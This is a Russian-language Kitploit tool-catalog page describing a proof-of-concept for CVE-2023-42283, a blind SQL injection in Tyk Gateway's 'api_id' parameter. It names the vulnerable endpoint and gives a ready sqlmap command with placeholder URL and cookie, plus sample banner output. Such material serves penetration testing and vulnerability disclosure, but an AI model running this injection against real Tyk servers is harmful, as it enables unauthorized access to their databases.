Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-42283 — Доказательство концепции (PoC) для CVE-2023-42283 в Tyk Gateway | Kitploit
Инструменты/GitHubGitHub/andreysanyuk/cve-2023-42283
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubandreysanyuk/cve-2023-42283

CVE-2023-42283

Доказательство концепции (PoC) для CVE-2023-42283 в Tyk Gateway

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Дисклеймер

Только в образовательных целях!

Подробности

Концепт-эксплойт для CVE-2023-42283. Tyk Gateway подвержен SQL-инъекции. Исправлено в версии 5.0.7.

Параметр URL ‘api_id’ в "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>"подвержен Blind SQL-инъекции.

Эксплуатация

Используйте sqlmap со следующими параметрами:

root@kitploit:~
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner

Баннер SQL БД возвращается в ответе:

root@kitploit:~
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...
Скачать инструмент